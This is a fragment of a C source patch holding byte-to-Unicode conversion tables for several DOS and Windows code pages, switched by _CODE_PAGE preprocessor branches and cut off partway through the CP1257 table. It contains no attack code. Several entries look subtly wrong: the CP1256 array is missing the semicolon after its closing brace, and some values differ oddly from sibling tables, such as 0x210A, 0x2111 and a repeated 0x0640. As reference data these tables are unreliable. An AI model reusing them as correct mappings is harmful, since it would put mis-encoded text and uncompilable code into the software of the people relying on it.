_TBLDEF 1 +static +const WCHAR Tbl[] = { /* CP775(0x80-0xFF) to Unicode conversion table */ + 0x0106, 0x00FC, 0x00E9, 0x0101, 0x00E4, 0x0123, 0x00E5, 0x0107, + 0x0142, 0x0113, 0x0156, 0x0157, 0x012B, 0x0179, 0x00C4, 0x00C5, + 0x00C9, 0x00E6, 0x00C6, 0x014D, 0x00F6, 0x0122, 0x00A2, 0x015A, + 0x015B, 0x00D6, 0x00DC, 0x00F8, 0x00A3, 0x00D8, 0x00D7, 0x00A4, + 0x0100, 0x012A, 0x00F3, 0x017B, 0x017C, 0x017A, 0x201D, 0x00A6, + 0x00A9, 0x00AE, 0x00AC, 0x00BD, 0x00BC, 0x0141, 0x00AB, 0x00BB, + 0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x0104, 0x010C, 0x0118, + 0x0116, 0x2563, 0x2551, 0x2557, 0x255D, 0x012E, 0x0160, 0x2510, + 0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x0172, 0x016A, + 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x017D, + 0x0105, 0x010D, 0x0119, 0x0117, 0x012F, 0x0161, 0x0173, 0x016B, + 0x017E, 0x2518, 0x250C, 0x2588, 0x2584, 0x258C, 0x2590, 0x2580, + 0x00D3, 0x00DF, 0x014C, 0x0143, 0x00F5, 0x00D5, 0x00B5, 0x0144, + 0x0136, 0x0137, 0x013B, 0x013C, 0x0146, 0x0112, 0x0145, 0x2019, + 0x00AD, 0x00B1, 0x201C, 0x00BE, 0x00B6, 0x00A7, 0x00F7, 0x201E, + 0x00B0, 0x2219, 0x00B7, 0x00B9, 0x00B3, 0x00B2, 0x25A0, 0x00A0 +}; + +#elif _CODE_PAGE == 850 +#define _TBLDEF 1 +static +const WCHAR Tbl[] = { /* CP850(0x80-0xFF) to Unicode conversion table */ + 0x00C7, 0x00FC, 0x00E9, 0x00E2, 0x00E4, 0x00E0, 0x00E5, 0x00E7, + 0x00EA, 0x00EB, 0x00E8, 0x00EF, 0x00EE, 0x00EC, 0x00C4, 0x00C5, + 0x00C9, 0x00E6, 0x00C6, 0x00F4, 0x00F6, 0x00F2, 0x00FB, 0x00F9, + 0x00FF, 0x00D6, 0x00DC, 0x00F8, 0x00A3, 0x00D8, 0x00D7, 0x0192, + 0x00E1, 0x00ED, 0x00F3, 0x00FA, 0x00F1, 0x00D1, 0x00AA, 0x00BA, + 0x00BF, 0x00AE, 0x00AC, 0x00BD, 0x00BC, 0x00A1, 0x00AB, 0x00BB, + 0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x00C1, 0x00C2, 0x00C0, + 0x00A9, 0x2563, 0x2551, 0x2557, 0x255D, 0x00A2, 0x00A5, 0x2510, + 0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x00E3, 0x00C3, + 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x00A4, + 0x00F0, 0x00D0, 0x00CA, 0x00CB, 0x00C8, 0x0131, 0x00CD, 0x00CE, + 0x00CF, 0x2518, 0x250C, 0x2588, 0x2584, 0x00A6, 0x00CC, 0x2580, + 0x00D3, 0x00DF, 0x00D4, 0x00D2, 0x00F5, 0x00D5, 0x00B5, 0x00FE, + 0x00DE, 0x00DA, 0x00DB, 0x00D9, 0x00FD, 0x00DD, 0x00AF, 0x00B4, + 0x00AD, 0x00B1, 0x2017, 0x00BE, 0x00B6, 0x00A7, 0x00F7, 0x00B8, + 0x00B0, 0x00A8, 0x00B7, 0x00B9, 0x00B3, 0x00B2, 0x25A0, 0x00A0 +}; + +#elif _CODE_PAGE == 852 +#define _TBLDEF 1 +static +const WCHAR Tbl[] = { /* CP852(0x80-0xFF) to Unicode conversion table */ + 0x00C7, 0x00FC, 0x00E9, 0x00E2, 0x00E4, 0x016F, 0x0107, 0x00E7, + 0x0142, 0x00EB, 0x0150, 0x0151, 0x00EE, 0x0179, 0x00C4, 0x0106, + 0x00C9, 0x0139, 0x013A, 0x00F4, 0x00F6, 0x013D, 0x013E, 0x015A, + 0x015B, 0x00D6, 0x00DC, 0x0164, 0x0165, 0x0141, 0x00D7, 0x010D, + 0x00E1, 0x00ED, 0x00F3, 0x00FA, 0x0104, 0x0105, 0x017D, 0x017E, + 0x0118, 0x0119, 0x00AC, 0x017A, 0x010C, 0x015F, 0x00AB, 0x00BB, + 0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x00C1, 0x00C2, 0x011A, + 0x015E, 0x2563, 0x2551, 0x2557, 0x255D, 0x017B, 0x017C, 0x2510, + 0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x0102, 0x0103, + 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x00A4, + 0x0111, 0x0110, 0x010E, 0x00CB, 0x010F, 0x0147, 0x00CD, 0x00CE, + 0x011B, 0x2518, 0x250C, 0x2588, 0x2584, 0x0162, 0x016E, 0x2580, + 0x00D3, 0x00DF, 0x00D4, 0x0143, 0x0144, 0x0148, 0x0160, 0x0161, + 0x0154, 0x00DA, 0x0155, 0x0170, 0x00FD, 0x00DD, 0x0163, 0x00B4, + 0x00AD, 0x02DD, 0x02DB, 0x02C7, 0x02D8, 0x00A7, 0x00F7, 0x00B8, + 0x00B0, 0x00A8, 0x02D9, 0x0171, 0x0158, 0x0159, 0x25A0, 0x00A0 +}; + +#elif _CODE_PAGE == 855 +#define _TBLDEF 1 +static +const WCHAR Tbl[] = { /* CP855(0x80-0xFF) to Unicode conversion table */ + 0x0452, 0x0402, 0x0453, 0x0403, 0x0451, 0x0401, 0x0454, 0x0404, + 0x0455, 0x0405, 0x0456, 0x0406, 0x0457, 0x0407, 0x0458, 0x0408, + 0x0459, 0x0409, 0x045A, 0x040A, 0x045B, 0x040B, 0x045C, 0x040C, + 0x045E, 0x040E, 0x045F, 0x040F, 0x044E, 0x042E, 0x044A, 0x042A, + 0x0430, 0x0410, 0x0431, 0x0411, 0x0446, 0x0426, 0x0434, 0x0414, + 0x0435, 0x0415, 0x0444, 0x0424, 0x0433, 0x0413, 0x00AB, 0x00BB, + 0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x0445, 0x0425, 0x0438, + 0x0418, 0x2563, 0x2551, 0x2557, 0x255D, 0x0439, 0x0419, 0x2510, + 0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x043A, 0x041A, + 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x00A4, + 0x043B, 0x041B, 0x043C, 0x041C, 0x043D, 0x041D, 0x043E, 0x041E, + 0x043F, 0x2518, 0x250C, 0x2588, 0x2584, 0x041F, 0x044F, 0x2580, + 0x042F, 0x0440, 0x0420, 0x0441, 0x0421, 0x0442, 0x0422, 0x0443, + 0x0423, 0x0436, 0x0416, 0x0432, 0x0412, 0x044C, 0x042C, 0x2116, + 0x00AD, 0x044B, 0x042B, 0x0437, 0x0417, 0x0448, 0x0428, 0x044D, + 0x042D, 0x0449, 0x0429, 0x0447, 0x0427, 0x00A7, 0x25A0, 0x00A0 +}; + +#elif _CODE_PAGE == 857 +#define _TBLDEF 1 +static +const WCHAR Tbl[] = { /* CP857(0x80-0xFF) to Unicode conversion table */ + 0x00C7, 0x00FC, 0x00E9, 0x00E2, 0x00E4, 0x00E0, 0x00E5, 0x00E7, + 0x00EA, 0x00EB, 0x00E8, 0x00EF, 0x00EE, 0x0131, 0x00C4, 0x00C5, + 0x00C9, 0x00E6, 0x00C6, 0x00F4, 0x00F6, 0x00F2, 0x00FB, 0x00F9, + 0x0130, 0x00D6, 0x00DC, 0x00F8, 0x00A3, 0x00D8, 0x015E, 0x015F, + 0x00E1, 0x00ED, 0x00F3, 0x00FA, 0x00F1, 0x00D1, 0x011E, 0x011F, + 0x00BF, 0x00AE, 0x00AC, 0x00BD, 0x00BC, 0x00A1, 0x00AB, 0x00BB, + 0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x00C1, 0x00C2, 0x00C0, + 0x00A9, 0x2563, 0x2551, 0x2557, 0x255D, 0x00A2, 0x00A5, 0x2510, + 0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x00E3, 0x00C3, + 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x00A4, + 0x00BA, 0x00AA, 0x00CA, 0x00CB, 0x00C8, 0x0000, 0x00CD, 0x00CE, + 0x00CF, 0x2518, 0x250C, 0x2588, 0x2584, 0x00A6, 0x00CC, 0x2580, + 0x00D3, 0x00DF, 0x00D4, 0x00D2, 0x00F5, 0x00D5, 0x00B5, 0x0000, + 0x00D7, 0x00DA, 0x00DB, 0x00D9, 0x00EC, 0x00FF, 0x00AF, 0x00B4, + 0x00AD, 0x00B1, 0x0000, 0x00BE, 0x00B6, 0x00A7, 0x00F7, 0x00B8, + 0x00B0, 0x00A8, 0x00B7, 0x00B9, 0x00B3, 0x00B2, 0x25A0, 0x00A0 +}; + +#elif _CODE_PAGE == 858 +#define _TBLDEF 1 +static +const WCHAR Tbl[] = { /* CP858(0x80-0xFF) to Unicode conversion table */ + 0x00C7, 0x00FC, 0x00E9, 0x00E2, 0x00E4, 0x00E0, 0x00E5, 0x00E7, + 0x00EA, 0x00EB, 0x00E8, 0x00EF, 0x00EE, 0x00EC, 0x00C4, 0x00C5, + 0x00C9, 0x00E6, 0x00C6, 0x00F4, 0x00F6, 0x00F2, 0x00FB, 0x00F9, + 0x00FF, 0x00D6, 0x00DC, 0x00F8, 0x00A3, 0x00D8, 0x00D7, 0x0192, + 0x00E1, 0x00ED, 0x00F3, 0x00FA, 0x00F1, 0x00D1, 0x00AA, 0x00BA, + 0x00BF, 0x00AE, 0x00AC, 0x00BD, 0x00BC, 0x00A1, 0x00AB, 0x00BB, + 0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x00C1, 0x00C2, 0x00C0, + 0x00A9, 0x2563, 0x2551, 0x2557, 0x2550, 0x00A2, 0x00A5, 0x2510, + 0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x00E3, 0x00C3, + 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x00A4, + 0x00F0, 0x00D0, 0x00CA, 0x00CB, 0x00C8, 0x20AC, 0x00CD, 0x00CE, + 0x00CF, 0x2518, 0x250C, 0x2588, 0x2584, 0x00C6, 0x00CC, 0x2580, + 0x00D3, 0x00DF, 0x00D4, 0x00D2, 0x00F5, 0x00D5, 0x00B5, 0x00FE, + 0x00DE, 0x00DA, 0x00DB, 0x00D9, 0x00FD, 0x00DD, 0x00AF, 0x00B4, + 0x00AD, 0x00B1, 0x2017, 0x00BE, 0x00B6, 0x00A7, 0x00F7, 0x00B8, + 0x00B0, 0x00A8, 0x00B7, 0x00B9, 0x00B3, 0x00B2, 0x25A0, 0x00A0 +}; + +#elif _CODE_PAGE == 862 +#define _TBLDEF 1 +static +const WCHAR Tbl[] = { /* CP862(0x80-0xFF) to Unicode conversion table */ + 0x05D0, 0x05D1, 0x05D2, 0x05D3, 0x05D4, 0x05D5, 0x05D6, 0x05D7, + 0x05D8, 0x05D9, 0x05DA, 0x05DB, 0x05DC, 0x05DD, 0x05DE, 0x05DF, + 0x05E0, 0x05E1, 0x05E2, 0x05E3, 0x05E4, 0x05E5, 0x05E6, 0x05E7, + 0x05E8, 0x05E9, 0x05EA, 0x00A2, 0x00A3, 0x00A5, 0x20A7, 0x0192, + 0x00E1, 0x00ED, 0x00F3, 0x00FA, 0x00F1, 0x00D1, 0x00AA, 0x00BA, + 0x00BF, 0x2310, 0x00AC, 0x00BD, 0x00BC, 0x00A1, 0x00AB, 0x00BB, + 0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x2561, 0x2562, 0x2556, + 0x2555, 0x2563, 0x2551, 0x2557, 0x255D, 0x255C, 0x255B, 0x2510, + 0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x255E, 0x255F, + 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x2567, + 0x2568, 0x2564, 0x2565, 0x2559, 0x2558, 0x2552, 0x2553, 0x256B, + 0x256A, 0x2518, 0x250C, 0x2588, 0x2584, 0x258C, 0x2590, 0x2580, + 0x03B1, 0x00DF, 0x0393, 0x03C0, 0x03A3, 0x03C3, 0x00B5, 0x03C4, + 0x03A6, 0x0398, 0x03A9, 0x03B4, 0x221E, 0x03C6, 0x03B5, 0x2229, + 0x2261, 0x00B1, 0x2265, 0x2264, 0x2320, 0x2321, 0x00F7, 0x2248, + 0x00B0, 0x2219, 0x00B7, 0x221A, 0x207F, 0x00B2, 0x25A0, 0x00A0 +}; + +#elif _CODE_PAGE == 866 +#define _TBLDEF 1 +static +const WCHAR Tbl[] = { /* CP866(0x80-0xFF) to Unicode conversion table */ + 0x0410, 0x0411, 0x0412, 0x0413, 0x0414, 0x0415, 0x0416, 0x0417, + 0x0418, 0x0419, 0x041A, 0x041B, 0x041C, 0x041D, 0x041E, 0x041F, + 0x0420, 0x0421, 0x0422, 0x0423, 0x0424, 0x0425, 0x0426, 0x0427, + 0x0428, 0x0429, 0x042A, 0x042B, 0x042C, 0x042D, 0x042E, 0x042F, + 0x0430, 0x0431, 0x0432, 0x0433, 0x0434, 0x0435, 0x0436, 0x0437, + 0x0438, 0x0439, 0x043A, 0x043B, 0x043C, 0x043D, 0x043E, 0x043F, + 0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x2561, 0x2562, 0x2556, + 0x2555, 0x2563, 0x2551, 0x2557, 0x255D, 0x255C, 0x255B, 0x2510, + 0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x255E, 0x255F, + 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x2567, + 0x2568, 0x2564, 0x2565, 0x2559, 0x2558, 0x2552, 0x2553, 0x256B, + 0x256A, 0x2518, 0x250C, 0x2588, 0x2584, 0x258C, 0x2590, 0x2580, + 0x0440, 0x0441, 0x0442, 0x0443, 0x0444, 0x0445, 0x0446, 0x0447, + 0x0448, 0x0449, 0x044A, 0x044B, 0x044C, 0x044D, 0x044E, 0x044F, + 0x0401, 0x0451, 0x0404, 0x0454, 0x0407, 0x0457, 0x040E, 0x045E, + 0x00B0, 0x2219, 0x00B7, 0x221A, 0x2116, 0x00A4, 0x25A0, 0x00A0 +}; + +#elif _CODE_PAGE == 874 +#define _TBLDEF 1 +static +const WCHAR Tbl[] = { /* CP874(0x80-0xFF) to Unicode conversion table */ + 0x20AC, 0x0000, 0x0000, 0x0000, 0x0000, 0x2026, 0x0000, 0x0000, + 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + 0x0000, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, + 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + 0x00A0, 0x0E01, 0x0E02, 0x0E03, 0x0E04, 0x0E05, 0x0E06, 0x0E07, + 0x0E08, 0x0E09, 0x0E0A, 0x0E0B, 0x0E0C, 0x0E0D, 0x0E0E, 0x0E0F, + 0x0E10, 0x0E11, 0x0E12, 0x0E13, 0x0E14, 0x0E15, 0x0E16, 0x0E17, + 0x0E18, 0x0E19, 0x0E1A, 0x0E1B, 0x0E1C, 0x0E1D, 0x0E1E, 0x0E1F, + 0x0E20, 0x0E21, 0x0E22, 0x0E23, 0x0E24, 0x0E25, 0x0E26, 0x0E27, + 0x0E28, 0x0E29, 0x0E2A, 0x0E2B, 0x0E2C, 0x0E2D, 0x0E2E, 0x0E2F, + 0x0E30, 0x0E31, 0x0E32, 0x0E33, 0x0E34, 0x0E35, 0x0E36, 0x0E37, + 0x0E38, 0x0E39, 0x0E3A, 0x0000, 0x0000, 0x0000, 0x0000, 0x0E3F, + 0x0E40, 0x0E41, 0x0E42, 0x0E43, 0x0E44, 0x0E45, 0x0E46, 0x0E47, + 0x0E48, 0x0E49, 0x0E4A, 0x0E4B, 0x0E4C, 0x0E4D, 0x0E4E, 0x0E4F, + 0x0E50, 0x0E51, 0x0E52, 0x0E53, 0x0E54, 0x0E55, 0x0E56, 0x0E57, + 0x0E58, 0x0E59, 0x0E5A, 0x0E5B, 0x0000, 0x0000, 0x0000, 0x0000 +}; + +#elif _CODE_PAGE == 1250 +#define _TBLDEF 1 +static +const WCHAR Tbl[] = { /* CP1250(0x80-0xFF) to Unicode conversion table */ + 0x20AC, 0x0000, 0x201A, 0x0000, 0x201E, 0x2026, 0x2020, 0x2021, + 0x0000, 0x2030, 0x0160, 0x2039, 0x015A, 0x0164, 0x017D, 0x0179, + 0x0000, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, + 0x0000, 0x2122, 0x0161, 0x203A, 0x015B, 0x0165, 0x017E, 0x017A, + 0x00A0, 0x02C7, 0x02D8, 0x0141, 0x00A4, 0x0104, 0x00A6, 0x00A7, + 0x00A8, 0x00A9, 0x015E, 0x00AB, 0x00AC, 0x00AD, 0x00AE, 0x017B, + 0x00B0, 0x00B1, 0x02DB, 0x0142, 0x00B4, 0x00B5, 0x00B6, 0x00B7, + 0x00B8, 0x0105, 0x015F, 0x00BB, 0x013D, 0x02DD, 0x013E, 0x017C, + 0x0154, 0x00C1, 0x00C2, 0x0102, 0x00C4, 0x0139, 0x0106, 0x00C7, + 0x010C, 0x00C9, 0x0118, 0x00CB, 0x011A, 0x00CD, 0x00CE, 0x010E, + 0x0110, 0x0143, 0x0147, 0x00D3, 0x00D4, 0x0150, 0x00D6, 0x00D7, + 0x0158, 0x016E, 0x00DA, 0x0170, 0x00DC, 0x00DD, 0x0162, 0x00DF, + 0x0155, 0x00E1, 0x00E2, 0x0103, 0x00E4, 0x013A, 0x0107, 0x00E7, + 0x010D, 0x00E9, 0x0119, 0x00EB, 0x011B, 0x00ED, 0x00EE, 0x010F, + 0x0111, 0x0144, 0x0148, 0x00F3, 0x00F4, 0x0151, 0x00F6, 0x00F7, + 0x0159, 0x016F, 0x00FA, 0x0171, 0x00FC, 0x00FD, 0x0163, 0x02D9 +}; + +#elif _CODE_PAGE == 1251 +#define _TBLDEF 1 +static +const WCHAR Tbl[] = { /* CP1251(0x80-0xFF) to Unicode conversion table */ + 0x0402, 0x0403, 0x201A, 0x0453, 0x201E, 0x2026, 0x2020, 0x2021, + 0x20AC, 0x2030, 0x0409, 0x2039, 0x040A, 0x040C, 0x040B, 0x040F, + 0x0452, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, + 0x0000, 0x2111, 0x0459, 0x203A, 0x045A, 0x045C, 0x045B, 0x045F, + 0x00A0, 0x040E, 0x045E, 0x0408, 0x00A4, 0x0490, 0x00A6, 0x00A7, + 0x0401, 0x00A9, 0x0404, 0x00AB, 0x00AC, 0x00AD, 0x00AE, 0x0407, + 0x00B0, 0x00B1, 0x0406, 0x0456, 0x0491, 0x00B5, 0x00B6, 0x00B7, + 0x0451, 0x2116, 0x0454, 0x00BB, 0x0458, 0x0405, 0x0455, 0x0457, + 0x0410, 0x0411, 0x0412, 0x0413, 0x0414, 0x0415, 0x0416, 0x0417, + 0x0418, 0x0419, 0x041A, 0x041B, 0x041C, 0x041D, 0x041E, 0x041F, + 0x0420, 0x0421, 0x0422, 0x0423, 0x0424, 0x0425, 0x0426, 0x0427, + 0x0428, 0x0429, 0x042A, 0x042B, 0x042C, 0x042D, 0x042E, 0x042F, + 0x0430, 0x0431, 0x0432, 0x0433, 0x0434, 0x0435, 0x0436, 0x0437, + 0x0438, 0x0439, 0x043A, 0x043B, 0x043C, 0x043D, 0x043E, 0x043F, + 0x0440, 0x0441, 0x0442, 0x0443, 0x0444, 0x0445, 0x0446, 0x0447, + 0x0448, 0x0449, 0x044A, 0x044B, 0x044C, 0x044D, 0x044E, 0x044F +}; + +#elif _CODE_PAGE == 1252 +#define _TBLDEF 1 +static +const WCHAR Tbl[] = { /* CP1252(0x80-0xFF) to Unicode conversion table */ + 0x20AC, 0x0000, 0x201A, 0x0192, 0x201E, 0x2026, 0x2020, 0x2021, + 0x02C6, 0x2030, 0x0160, 0x2039, 0x0152, 0x0000, 0x017D, 0x0000, + 0x0000, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, + 0x02DC, 0x2122, 0x0161, 0x203A, 0x0153, 0x0000, 0x017E, 0x0178, + 0x00A0, 0x00A1, 0x00A2, 0x00A3, 0x00A4, 0x00A5, 0x00A6, 0x00A7, + 0x00A8, 0x00A9, 0x00AA, 0x00AB, 0x00AC, 0x00AD, 0x00AE, 0x00AF, + 0x00B0, 0x00B1, 0x00B2, 0x00B3, 0x00B4, 0x00B5, 0x00B6, 0x00B7, + 0x00B8, 0x00B9, 0x00BA, 0x00BB, 0x00BC, 0x00BD, 0x00BE, 0x00BF, + 0x00C0, 0x00C1, 0x00C2, 0x00C3, 0x00C4, 0x00C5, 0x00C6, 0x00C7, + 0x00C8, 0x00C9, 0x00CA, 0x00CB, 0x00CC, 0x00CD, 0x00CE, 0x00CF, + 0x00D0, 0x00D1, 0x00D2, 0x00D3, 0x00D4, 0x00D5, 0x00D6, 0x00D7, + 0x00D8, 0x00D9, 0x00DA, 0x00DB, 0x00DC, 0x00DD, 0x00DE, 0x00DF, + 0x00E0, 0x00E1, 0x00E2, 0x00E3, 0x00E4, 0x00E5, 0x00E6, 0x00E7, + 0x00E8, 0x00E9, 0x00EA, 0x00EB, 0x00EC, 0x00ED, 0x00EE, 0x00EF, + 0x00F0, 0x00F1, 0x00F2, 0x00F3, 0x00F4, 0x00F5, 0x00F6, 0x00F7, + 0x00F8, 0x00F9, 0x00FA, 0x00FB, 0x00FC, 0x00FD, 0x00FE, 0x00FF +}; + +#elif _CODE_PAGE == 1253 +#define _TBLDEF 1 +static +const WCHAR Tbl[] = { /* CP1253(0x80-0xFF) to Unicode conversion table */ + 0x20AC, 0x0000, 0x201A, 0x0192, 0x201E, 0x2026, 0x2020, 0x2021, + 0x0000, 0x2030, 0x0000, 0x2039, 0x000C, 0x0000, 0x0000, 0x0000, + 0x0000, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, + 0x0000, 0x2122, 0x0000, 0x203A, 0x0000, 0x0000, 0x0000, 0x0000, + 0x00A0, 0x0385, 0x0386, 0x00A3, 0x00A4, 0x00A5, 0x00A6, 0x00A7, + 0x00A8, 0x00A9, 0x0000, 0x00AB, 0x00AC, 0x00AD, 0x00AE, 0x2015, + 0x00B0, 0x00B1, 0x00B2, 0x00B3, 0x0384, 0x00B5, 0x00B6, 0x00B7, + 0x0388, 0x0389, 0x038A, 0x00BB, 0x038C, 0x00BD, 0x038E, 0x038F, + 0x0390, 0x0391, 0x0392, 0x0393, 0x0394, 0x0395, 0x0396, 0x0397, + 0x0398, 0x0399, 0x039A, 0x039B, 0x039C, 0x039D, 0x039E, 0x039F, + 0x03A0, 0x03A1, 0x0000, 0x03A3, 0x03A4, 0x03A5, 0x03A6, 0x03A7, + 0x03A8, 0x03A9, 0x03AA, 0x03AD, 0x03AC, 0x03AD, 0x03AE, 0x03AF, + 0x03B0, 0x03B1, 0x03B2, 0x03B3, 0x03B4, 0x03B5, 0x03B6, 0x03B7, + 0x03B8, 0x03B9, 0x03BA, 0x03BB, 0x03BC, 0x03BD, 0x03BE, 0x03BF, + 0x03C0, 0x03C1, 0x03C2, 0x03C3, 0x03C4, 0x03C5, 0x03C6, 0x03C7, + 0x03C8, 0x03C9, 0x03CA, 0x03CB, 0x03CC, 0x03CD, 0x03CE, 0x0000 +}; + +#elif _CODE_PAGE == 1254 +#define _TBLDEF 1 +static +const WCHAR Tbl[] = { /* CP1254(0x80-0xFF) to Unicode conversion table */ + 0x20AC, 0x0000, 0x210A, 0x0192, 0x201E, 0x2026, 0x2020, 0x2021, + 0x02C6, 0x2030, 0x0160, 0x2039, 0x0152, 0x0000, 0x0000, 0x0000, + 0x0000, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, + 0x02DC, 0x2122, 0x0161, 0x203A, 0x0153, 0x0000, 0x0000, 0x0178, + 0x00A0, 0x00A1, 0x00A2, 0x00A3, 0x00A4, 0x00A5, 0x00A6, 0x00A7, + 0x00A8, 0x00A9, 0x00AA, 0x00AB, 0x00AC, 0x00AD, 0x00AE, 0x00AF, + 0x00B0, 0x00B1, 0x00B2, 0x00B3, 0x00B4, 0x00B5, 0x00B6, 0x00B7, + 0x00B8, 0x00B9, 0x00BA, 0x00BB, 0x00BC, 0x00BD, 0x00BE, 0x00BF, + 0x00C0, 0x00C1, 0x00C2, 0x00C3, 0x00C4, 0x00C5, 0x00C6, 0x00C7, + 0x00C8, 0x00C9, 0x00CA, 0x00CB, 0x00CC, 0x00CD, 0x00CE, 0x00CF, + 0x011E, 0x00D1, 0x00D2, 0x00D3, 0x00D4, 0x00D5, 0x00D6, 0x00D7, + 0x00D8, 0x00D9, 0x00DA, 0x00BD, 0x00DC, 0x0130, 0x015E, 0x00DF, + 0x00E0, 0x00E1, 0x00E2, 0x00E3, 0x00E4, 0x00E5, 0x00E6, 0x00E7, + 0x00E8, 0x00E9, 0x00EA, 0x00EB, 0x00EC, 0x00ED, 0x00EE, 0x00EF, + 0x011F, 0x00F1, 0x00F2, 0x00F3, 0x00F4, 0x00F5, 0x00F6, 0x00F7, + 0x00F8, 0x00F9, 0x00FA, 0x00FB, 0x00FC, 0x0131, 0x015F, 0x00FF +}; + +#elif _CODE_PAGE == 1255 +#define _TBLDEF 1 +static +const WCHAR Tbl[] = { /* CP1255(0x80-0xFF) to Unicode conversion table */ + 0x20AC, 0x0000, 0x201A, 0x0192, 0x201E, 0x2026, 0x2020, 0x2021, + 0x02C6, 0x2030, 0x0000, 0x2039, 0x0000, 0x0000, 0x0000, 0x0000, + 0x0000, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, + 0x02DC, 0x2122, 0x0000, 0x203A, 0x0000, 0x0000, 0x0000, 0x0000, + 0x00A0, 0x00A1, 0x00A2, 0x00A3, 0x00A4, 0x00A5, 0x00A6, 0x00A7, + 0x00A8, 0x00A9, 0x00D7, 0x00AB, 0x00AC, 0x00AD, 0x00AE, 0x00AF, + 0x00B0, 0x00B1, 0x00B2, 0x00B3, 0x00B4, 0x00B5, 0x00B6, 0x00B7, + 0x00B8, 0x00B9, 0x00F7, 0x00BB, 0x00BC, 0x00BD, 0x00BE, 0x00BF, + 0x05B0, 0x05B1, 0x05B2, 0x05B3, 0x05B4, 0x05B5, 0x05B6, 0x05B7, + 0x05B8, 0x05B9, 0x0000, 0x05BB, 0x05BC, 0x05BD, 0x05BE, 0x05BF, + 0x05C0, 0x05C1, 0x05C2, 0x05C3, 0x05F0, 0x05F1, 0x05F2, 0x05F3, + 0x05F4, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + 0x05D0, 0x05D1, 0x05D2, 0x05D3, 0x05D4, 0x05D5, 0x05D6, 0x05D7, + 0x05D8, 0x05D9, 0x05DA, 0x05DB, 0x05DC, 0x05DD, 0x05DE, 0x05DF, + 0x05E0, 0x05E1, 0x05E2, 0x05E3, 0x05E4, 0x05E5, 0x05E6, 0x05E7, + 0x05E8, 0x05E9, 0x05EA, 0x0000, 0x0000, 0x200E, 0x200F, 0x0000 +}; + +#elif _CODE_PAGE == 1256 +#define _TBLDEF 1 +static +const WCHAR Tbl[] = { /* CP1256(0x80-0xFF) to Unicode conversion table */ + 0x20AC, 0x067E, 0x201A, 0x0192, 0x201E, 0x2026, 0x2020, 0x2021, + 0x02C6, 0x2030, 0x0679, 0x2039, 0x0152, 0x0686, 0x0698, 0x0688, + 0x06AF, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, + 0x06A9, 0x2122, 0x0691, 0x203A, 0x0153, 0x200C, 0x200D, 0x06BA, + 0x00A0, 0x060C, 0x00A2, 0x00A3, 0x00A4, 0x00A5, 0x00A6, 0x00A7, + 0x00A8, 0x00A9, 0x06BE, 0x00AB, 0x00AC, 0x00AD, 0x00AE, 0x00AF, + 0x00B0, 0x00B1, 0x00B2, 0x00B3, 0x00B4, 0x00B5, 0x00B6, 0x00B7, + 0x00B8, 0x00B9, 0x061B, 0x00BB, 0x00BC, 0x00BD, 0x00BE, 0x061F, + 0x06C1, 0x0621, 0x0622, 0x0623, 0x0624, 0x0625, 0x0626, 0x0627, + 0x0628, 0x0629, 0x062A, 0x062B, 0x062C, 0x062D, 0x062E, 0x062F, + 0x0630, 0x0631, 0x0632, 0x0633, 0x0634, 0x0635, 0x0636, 0x00D7, + 0x0637, 0x0638, 0x0639, 0x063A, 0x0640, 0x0640, 0x0642, 0x0643, + 0x00E0, 0x0644, 0x00E2, 0x0645, 0x0646, 0x0647, 0x0648, 0x00E7, + 0x00E8, 0x00E9, 0x00EA, 0x00EB, 0x0649, 0x064A, 0x00EE, 0x00EF, + 0x064B, 0x064C, 0x064D, 0x064E, 0x00F4, 0x064F, 0x0650, 0x00F7, + 0x0651, 0x00F9, 0x0652, 0x00FB, 0x00FC, 0x200E, 0x200F, 0x06D2 +} + +#elif _CODE_PAGE == 1257 +#define _TBLDEF 1 +static +const WCHAR Tbl[] = { /* CP1257(0x80-0xFF) to Unicode conversion table */ + 0x20AC, 0x0000, 0x201A, 0x0000, 0x201E, 0x2026, 0x2020, 0x2021, + 0x0000, 0x2030, 0x0000, 0x2039, 0x0000, 0x00A8, 0x02C7, 0x00B8, + 0x0000, 0x2018, 